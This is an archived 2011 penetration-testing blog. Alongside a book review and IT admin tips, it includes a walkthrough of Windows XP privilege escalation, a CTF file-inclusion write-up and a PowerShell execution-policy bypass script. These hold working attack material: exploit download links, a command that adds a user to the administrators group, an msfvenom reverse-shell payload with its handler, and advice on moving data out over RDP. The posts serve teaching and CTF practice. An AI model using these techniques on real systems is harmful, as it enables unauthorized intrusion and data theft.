Friday, December 16, 2011

"Metasploit : The Penetration Tester's Guide" Review



Dave Kennedy, Jim O'Gorman, Devon Kearns and Mati Aharoni set out to do the impossible.  How do you write a book about a software project that improves nearly every day?  How do you keep it relevant for more than a few weeks or months? Other books have tried and in my opinion failed, but this one is great.  It doesn't just teach you how to use this great security tool, it takes you through some of the thought and methodology involved in a professional penetration test.

Almost everyone can learn something from this book.  I particularly liked the following chapters because they contain the most complete coverage of topics that you won't find much on anywhere else:
 
Chapter 3 - Working with Databases in Metasploit
Chapter 5 - Resource Files

Although I found a few tips that I was able to immediately start utilizing on engagements, I think the book would be even better for those with less exposure to Metasploit and SET.  
 
Most of my gripes about the book stem from the content in Chapter 6 (Meterpreter).  Process migration is explained, but I think the authors should have gone into more depth about how to choose the right processes to migrate to.  Most Host IPS products protect a specific set of processes which should be avoided if at all possible. A warning similar to that about the use of bind shells on page 94 would have been have nice.  Another potential improvement to Chapter 6 could be a discussion on why NOT to kill antivirus.  If you have gone through the trouble getting code execution with Meterpreter with AV installed, why not leave AV alone?  Meterpreter is running in memory so in theory it shouldn't be affected by AV.  You should avoid uploading tools if at all possible. 
 
The acknowledgment on page 108 is completely accurate.  Generating a payload to bypass some AV products is nearly impossible using the methods described in the book.  Any popular method of generating payloads will eventually be reversed (for good reason) by the AV vendors.  There is a great discussion about this concept here and here.  For that reason, its normally best to find your own method and keep it private.

Overall, the book is well-written and organized.  If I were designing a course on penetration testing, this book would definitely be mandatory reading.  Its on the short list of books I would recommend to any security practitioner.  You can pick it up from amazon or directly from No Starch

-Chris

Friday, December 9, 2011

Giving the Gift of Updates

The holidays are a time for family and friends.  For many geeks that means a lot of pro bono computer repairs and this year has started no different for me.  I started thinking of ways to quickly fix and secure the endless stream of laptops heading my way and here are some methods that have proved helpful.

Although it seems people are keeping their Windows machines patched, the third-party applications are another issue.  My family members still aren't adhering to the safe-browsing advice that I gave them so each "repair" is normally a complete OS wipe and reload.

After being asked to "fix" two laptops in a row with physically damaged DVD drives, I went ahead and dedicated a thumb drive to the Windows 7 install media.  The process is simple and it actually speeds up the installation process.  You also aren't dependent on potentially broken hardware.

The first step is to download the tool from Microsoft and install it.  Next find a suitable USB drive that is  at least as large as the installation DVD.  Then, choose the source iso file and select USB device.  Once the process is started, you will be presented with:


Once it is done, you will have a USB drive that you can use to reinstall or repair broken Windows 7 installations.


Another trick to speed up post-installation tasks is to use Ninite to create a single installation executable.  If you haven't used Ninite before, its extremely easy.  Just browse to the website and select the software you want to install:


Once you are done, click the "Get Installer" button at the bottom of the page and you will have a single executable for downloading and installing all of the software.  I know Ninite has saved me hours this year alone, but remember that you will need internet access for it to work.

Also, you can use Ninite for another purpose as well.  Last year, I renamed the Ninite binary to updates.exe and left it on the user's desktop.  I asked  them to run it with admin credentials every few weeks.  Although Windows Update was working properly, no one was patching anything else.

This year, I took it a step forward and created a task to run the updates.exe for them.  Now they will be prompted for credentials every once in a while (possibly increasing social-engineering risks), but at least they will hopefully be better protected from client-side attacks.

First I copied to the updates.exe to the 'c:\Windows\Tasks' folder to secure its permissions.  Then I created a task to run it every two weeks named "updates" with Schtasks:

schtasks /create /sc weekly /mo 2 /tn updates /tr c:\windows\tasks\updates.exe /rl highest



To test that the task is working properly:

schtasks /run /tn updates

The Ninite exe will only download applications that are either not installed or out-of-date.



Finally, Secunia's Personal Software Inspector (PSI) supports auto-updates for many products as well.  You can get the install from here and just like Ninite, its free for personal use.  It is a great tool which can be used by your non-"computery" friends and family to see what software they need to update.  The dashboard is helpful and easy to understand. 


I hope these methods equate to less OS installations next year and possibly less infected machines.

-Chris

Wednesday, November 16, 2011

Old Privilege Escalation Techniques

One of my pet-peeves when it comes to "ethical hacker" training is that it is normally outdated and irrelevant. Teaching students how to use hacking "tools" from 2001 creates misinformed professionals and increases the number of low-skilled, highly-certified people in our industry. Truthfully, it’s been years since I last saw an unpatched Windows XP machine without AV on an engagement. I am aware of exceptions such as stand-alone workstations and SCADA systems, but generally machines shouldn't receive a pentest if they aren’t at least patched.

With that said, this post contains nothing new, fresh or possibly even relevant. I was prompted to write it after a few discussions with people who are preparing for upcoming CTFs. This is just a collection of old privilege escalation methods for unpatched Windows XP through SP2 workstations which may or may not be helpful. Some methods work better than others and many rely on vulnerabilities that have long been patched. If you are looking for new and exciting exploitation techniques, go here.

An older vulnerability that I do continue to see quite regularly is in the RealVNC product. RealVNC is a remote administration tool and typically listens on 5900. To scan for VNC and check for the RealVNC authentication bypass vulnerability with Nmap:

nmap -Pn -p5900 x.x.x.x --script=realvnc-auth-bypass




It may be important to note that RealVNC also hosts a java-based webserver on port 5800. This target machine is most likely vulnerable according to Nmap. There are several "patched" versions of the VNC client which allow you take advantage of the vulnerability. You can download one here or read more about the vulnerability here.

Disclaimer: Links provided on this site are for research purposes only. Always exercise caution when downloading code from the internet, especially hack tools.

Once you've downloaded and vetted the exploit, you can run it in Linux with wine.



Enter the IP address of the target and you will likely be presented with a view of the currently logged-in user's desktop. The only thing the active user will see is the RealVNC icon in the bottom right corner turn black. They will also be able to quickly get the IP address that is connected. If you encounter this vulnerability on a real engagement, you should probably have a plan to quickly convert this access to a more stealthy method.



Another note is that several commercial security products such as Symantec Endpoint Protection detect and block this attack.



Now that we have GUI access to the machine, let’s find out more about the account and privileges we currently have. Windows XP lacks the "whoami" binary, but with GUI accesss we can see the user by clicking the "start" button. The following "net" command lets us know that we are just a limited user:

net user joe.user


We can see what service packs are installed by checking the system properties.


There are several methods for introducing code to the machine, but the easiest method in this scenario is with IE or any other browser. Let’s grab a few exploits from:

http://packetstormsecurity.org/files/download/85449/KiTrap0D.zip
http://www.tarasco.org/security/srvcheck/srvcheck3.zip
http://exploit-db.com/sploits/2008-MS08-067.rar


Vet the code. Then throw them in a zip to be introduced onto the target machine.


Once we have uploaded our zip file with the binaries we can get started with the demo. The first method can be used from nearly any privilege level in order to reach "NT Authority\System" privileges. Simply upload the compiled KiTrap0d exploit along with the vdmexploit.dll and execute it. It works great for this scenario, but if you are attempting to use it through other attack vectors - you will likely have to make some minor adjustments to the code and recompile it.


This vulnerability was patched by MS10-015 , but the exploit continues to be extremely reliable when a machine has not been patched properly.

Another older method of escalation involves insecure permissions on services in Windows XP SP1 and Server 2003 (pre-SP1). Srvcheck3 is a tool which can scan for and exploit these permissions. For example, below is the output of "srvcheck3.exe -l" on a Windows XP SP1 machine.


You can then use srvcheck3 to exploit the service with the following syntax: 


srvcheck3.exe -m upnphost -H 127.0.0.1 -c "cmd.exe /c net localgroup administrators joe.user /add" 


This method will not work against our XP SP2 demo target, but we successfully added our limited user to the administrators group on the XP SP1 machine.

Another generic privilege escalation method is to find a remote exploit such as MS08-067 or MS03-026, compile it and target it at 127.0.0.1. This method can be extremely effective in lab settings and CTFs. Just be mindful of your target and ensure that the exploit is properly suited for it. For example, some public exploits aren't written to work against NX targets.

You can clearly see the targets that are available for the DCOM exploit in the screenshot below:



The methods discussed above can be used to escalate from user-level privileges to System, but what if you have administrator privileges and you want to get to System? There are a few easy methods on pre-Vista machines, but one example method is to use the "At" scheduler.



The "at" command is deprecated but works just fine against XP/2K3 targets. First we ensure that the scheduler service is running. If not, we would issue the "net start schedule" command. Next, we find out the system time and finally we schedule our task to run interactively a few minutes in the future. This particular syntax works against XP, but your mileage may vary against different service pack levels of Server 2K3.



In this example we had it pop up a system-level cmd.exe interactively, but you will likely find more use out of having it execute some other command or executable.

Of course if I was presented with this general scenario on a real engagement, I would use the Metasploit framework.  Since our unpatched XP target doesn't have PowerShell installed, we will have to generate an executable with Metasploit.  Most AV products will flag a meterpreter payload as malicious, but in this case there isn't an AV product installed. 


msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikate_ga_nai -b '\x00' -i 4 -f exe LHOST=x.x.x.x LPORT=443 >> /root/Desktop/demo.exe



Next we can download our exe through IE and execute it.  From the user-level process, we can run the "getsystem" post exploitation module.



msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=443 E



As you can see, "technique 4" was used.  Technique 4 is the Kitrap0d attack discussed earlier implemented in the 'priv' extension of meterpreter.  If we had administrative privileges, it would have been successful with a different technique.


Finally, thank you to all of the researchers who discovered these vulnerabilities and went through the pain of disclosing them properly.

-Chris

Sunday, October 2, 2011

CSAW Qualification CTF Web Challenge 4 Write-Up

Last weekend Bitform, of exploit monday fame, setup a team of a few guys to poke around at the CSAW CTF qualification challenges.  Although he and the other guys carried almost all of the workload, I did mess around with the web challenges.  I found the web challenges a lot more challenging than I thought they were going to be, but in the end they were pretty straightforward.


There are a few write-ups already for the 500 point challenge, but I haven't seen any decent ones of the 400 point web challenge: Inchbinge.  The challenge started by just browsing to the URL: http://csawctf.poly.edu:40003/, which presented you with a login page.  The challenge description didn't provide credentials so I wrongly assumed that this was going to be SQLi-related.  Strangely enough, there were almost no database related exploitation in any of the challenges.


After trying a few different usernames with common passwords, it was obvious that there was a disclosure problem related to the error message.  A valid username with an invalid password returned a message of "Password incorrect," while an invalid username returned "Account not found."  This could be used to easily guess a valid user (admin) and eventually a valid password (password). 

"Account not found"

"Password incorrect"

After logging in with admin/password, you were presented with a message informing you that you weren't "really" logged in as admin.  There were two new items that weren't visible without logging in.  One was a link to a changepass.php and the other was the author of the website at the bottom.


Since we knew that we weren't logged in as an actual administrator we wanted to see if the author's name was the admin account.  After logging out, we verified that it was indeed another valid username.


Next, we took a look at changepass.php.  It was simply a script for changing the currently logged-in user's password.


Viewing the source of the page revealed that the simple post submission included a hidden "user" field. 


By catching the post with an in-line proxy (in this case the Firefox addon Tamperdata), we can edit the parameters of the post submission.

Armed with the valid username "TheTallGuy," we changed the submission in tamperdata.


The post was accepted.


Now we logged in with the "TheTallGuy" account and the password which we just set.


I honestly believed that this was going to be the end of the challenge, but I was wrong.  After logging in, you were presented with a different message: "IMPORTANT: Fix dl script (broken/data/download.php)."  Naturally, we immediately browsed there to see the script that needed to be "fixed."


There wasn't much to see, but I did want to see what else was in the directory structure so I browsed to the /broken directory.  Directory browsing was enabled so it allowed us to see the other directories such as /data and /data/protected.  There was even an image file of a popular anime character in the /broken directory, but the /data/protected appeared to be empty.  


At first glance, the download.php script appeared to be a LFI vulnerability.  Local file include vulnerabilities allow an attacker to download or view files that shouldn't be accessed through a web interface.  On a linux box (image above shows that we are likely looking at Apache installed on an Ubuntu server) those files could include /etc/passwd or other sensitive config files.  With Apache, we are most likely looking for the ".htaccess" file, which is normally in the root of the site.  In order to find out what we can download with the script, we started by trying the "changepass.php" script.


The script could not find ../../changepass.php because some logic within the script changed the "../../" to just "../" thereby thwarting the directory traversal attempt.  However, we could download the ".png" image that we found through directory browsing.


We could also download the download.php script itself.  We can clearly see the logic which was preventing our directory traversal attempts. 


<script start>
<?php
#FIXME: People might be able to download this file!
function cleanit($v) {
     $v=str_replace("\0", "", $v);
     $o=$v;
     do {
        $v=preg_replace("|/\.*/|", "/", $v);
        $v=preg_replace("|^/|", "", $v);
     } while($o!=$v && $o=$v);
     return $v;
}
$path=cleanit($_GET['file']);

if(!strlen($path) || !file_exists($path)) {
     print 'FILE NOT FOUND: '.$path; exit;
} elseif(strpos($path,'protected')===0) {
     print 'ACCESS DENIED: '.$path; exit;
}

readfile($path);
?>
<script end>

Unfortunately for me, it wasn't that clear cut.  After a bit of googling, I came across this blog post: http://www.securitypitfalls.org/2011/03/sometimes-security-function-just-does.html.  I was extremely focused on bypassing the two preg_replace lines  and directory traversing to the root of the website. Fortunately, Bitform tried downloading ".htaccess" from the protected directory and ended the madness.

http://csawctf.poly.edu:40003/broken/data/download.php?file=../data/protected/.htaccess

Viewing the source revealed a file called "XDONOTOPENX" which contained "Key: LOOKMANONUMBERS" and finally the end of this challenge.

The challenge covered several interesting web security topics including information disclosure vulnerabilities, account/password problems, server-side vs. client-side checks, directory browsing, local file inclusion vulnerabilities and I added a little on directory traversal.  It also served to remind me to keep an open-mind when pentesting web applications, especially ones that are created for a CTF!

-Chris



Wednesday, September 21, 2011

Speeding Up WSUS Downloads

This post doesn't relate to pentesting directly, but it may help be useful to someone.   Windows Server Update Service or WSUS is the service that is responsible for enterprise patching in Microsoft Windows Environments.  It is scalable and extremely polished compared to the original SUS offering.  

I chose to build a WSUS server in a VM to solve the problem of patching my multiple standalone networks.  Many pentesters have attack labs which are likely not connected to the internet.  By installing a server on a portable hard drive, you can update the WSUS server through an internet connetion and then bring it into the lab network to patch your "vulnerable" machines.  

In case your wondering, I use my attack lab to test tools and ideas against as close to a real environment as I can create.  WSUS makes it extremely easy for an organization to push out Windows and Microsoft Office patches and I want my test environment to match.  You can easily control what machines receive what patches if you want to ensure that your MS08-067 exploit will still work for demo purposes.

The problem with this scenario is that patching will be irregular and WSUS is terribly slow at downloading updates.  There are several articles out there describing how to speed up WSUS downloads, but the method describe at http://support.microsoft.com/kb/922330 worked well for me.

Once you have the service installed and running properly, issue the following command from an elevated command prompt:

c:\>c:\program files\Update Services\setup\ExecuteSQL.exe -S wsus -d "SUSDB" -Q "update tbConfigurationC set BitsDownloadPriorityForeground=1"


Now open services.msc and restart the "Windows Update" service.


Finally, open the WSUS console and right click "Synchronizations" and select "Synchronize Now."



You should notice a dramatic increase in download speed.  The reason that WSUS downloads so slowly is to conserve network bandwidth and to ensure that the downloads resume if they are interrupted.  WSUS utilizes the Background Intelligent Transfer Service (BITS) which is seems to be considerably slower than a straight HTTP download.


References


Sunday, August 7, 2011

PowerShell ExecutionPolicy Bypass



PowerShell is exciting and has really taken off as the replacement for Vbscript.  I hope to blog more about the awesome features of PowerShell in the future, but I will start off with a simple bypass of Execution Policies so that you can use your scripts.  Execution policies are seen as a "security" feature by many administrators.  This policy will not allow scripts to be run unless they meet the requirements of the policy.  To find out more about "ExecutionPolicy" use the get-help cmdlet from within PowerShell:

PS C:\Users\Chris> get-help Set-ExecutionPolicy -examples

NAME Set-ExecutionPolicy
 
SYNOPSIS Changes the user preference for the Windows PowerShell execution policy.
    -------------------------- EXAMPLE 1 --------------------------
 
    C:\PS>set-executionpolicy remotesigned
    Description
    -----------
    This command sets the user preference for the shell execution policy to RemoteSigned.
     
    -------------------------- EXAMPLE 2 --------------------------
    C:\PS>Set-ExecutionPolicy Restricted
 
    Set-ExecutionPolicy : Windows PowerShell updated your local preference successfully, but the setting is overridden by the group policy applied to your system. Due to the override, your shell will retain its current effective execution policy of "AllSigned". Contact your group policy administrator for more information.
    At line:1 char:20   + set-executionpolicy  <<<< restricted
   
    Description
    -----------
    This command attempts to set the execution policy for the shell to "Restricted." The "Restricted" setting is written to the registry, but because it conflicts with a Group Policy, it is not effective, even though it is more restrictive than the policy.
     
    -------------------------- EXAMPLE 3 --------------------------
    C:\PS>invoke-command -computername Server01 -scriptblock {get-executionpolicy} | set-executionpolicy -force
     
    Description
    -----------
    This command gets the execution policy from a remote computer and applies that execution policy to the local computer.
 
    The command uses the Invoke-Command cmdlet to send the command to the remote computer. Because you can pipe an ExecutionPolicy (Microsoft.PowerShell.ExecutionPolicy) object to Set-ExecutionPolicy, the Set-ExecutionPolicy command does not need an ExecutionPolicy parameter.
 
    The command does have a Force parameter, which suppresses the user prompt.
     
    -------------------------- EXAMPLE 4 --------------------------
    C:\PS>set-executionpolicy -scope CurrentUser -executionPolicy AllSigned -force
 
    C:\PS> get-executionpolicy -list
 
           Scope            ExecutionPolicy
            -----                 ---------------
    MachinePolicy         Undefined
       UserPolicy            Undefined
          Process              Undefined
      CurrentUser           AllSigned
     LocalMachine      RemoteSigned
 
    C:\PS> get-executionpolicy
    AllSigned
     
    Description
    -----------
    This example shows how to set an execution policy for a particular scope.
 
    The first command uses the Set-ExecutionPolicy cmdlet to set an execution policy of AllSigned for the current user. It uses the Force parameter to suppress the user prompts.
 
    The second command uses the List parameter of Get-ExecutionPolicy to get the execution policies set in each scope. The results show that the execution policy that is set for the current user differs from the execution policy set for all users of the computer.
 
    The third command uses the Get-ExecutionPolicy cmdlet without parameters to get the effective execution policy for the current user on the local computer. The result confirms that the execution policy that is set for the current user takes precedence over the one set for all users.
 
    -------------------------- EXAMPLE 5 --------------------------
    C:\PS>set-executionpolicy -scope CurrentUser -executionPolicy Undefined
     
    Description
    -----------
    This command uses an execution policy value of Undefined to effectively remove the execution policy that is set for the current user scope. As a result, the execution policy that is set in Group Policy or in the LocalMachine (all users) scope is effective.
 
    If you set the execution policy in all scopes to Undefined and the Group Policy is not set, the default execution policy, Restricted, is effective for all users of the computer.

Although the descriptions read like they are security features, that's not the case as evidenced in David Kennedy and Josh Kelley's "PowerShell OMFG" talk at Defcon last year.  One of the things that they pointed out is that you can encode a script and pass it directly to PowerShell.

For example, lets try to launch a simple PowerShell script that executes calc.exe with the ExecutionPolicy set to restricted.



Although this example uses PowerShell 1.0, it also works with 2.0.  Notice that the error points out that execution of scripts are disabled.  You can use the bat script below to bypass this restriction.

<script begin>
@echo off
REM: Bypass.bat
REM: cmd /C bypass.bat yourps1.ps1

powershell.exe -noprofile -Command "powershell.exe -noprofile -encodedCommand ([Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes((gc %1 |%%{$_}|out-string))))"
<script end>


C:\bypass.bat popCalc.ps1


We have successfully bypassed the execution policy with a limited user.  This method does not change the permissions of the logged-in user, but it does allow you run ps1 scripts regardless of the enforced settings.  Administrators that aren't using PowerShell should use software restriction policies with Active Directory to prevent its use for nefarious purposes such as the execution of shellcode.  

References:


http://www.secmaniac.com/files/PowerShell_Defcon.pdf

-Chris

Tuesday, July 26, 2011

RDP for File Transfers

It is rare to find TCP 3389 open on a perimeter pentest, but it does happen.  More commonly, RDP connections are allowed from any internal host to any other.  This allows an attacker the ability to pivot between hosts using a protocol which may be completely expected.  One reverse shell and port forwarding is almost as good as finding it open externally.  

Utilizing RDP also helps reduce the number of tools that you are introducing to an environment and in some cases will help you blend in.  Will application white-listing stop built-in Microsoft tools? 

Another interesting feature with RDP is the ability to mount local resources on the remote machine.  This gives the attacker the ability to drag-and-drop files to and from the victim machine.  The transfers are done through the encrypted session and are relatively safe from the admin's prying eyes (unless you are being MiTM'd).  Once you start mstsc.exe, select options and click the "Local Resources" tab.





Under "Local devices and resources," click the more button.  Now you will see the local drives available to mount in the RDP session.  Select the drive that you want to mount and click ok and connect.


Once you connect you will see a drive mapped similar to a network drive.  You can drag-and-drop between the machines to introduce whatever tools you would like to run or use it as an easy and reliable way to offload any valuable data.




-Chris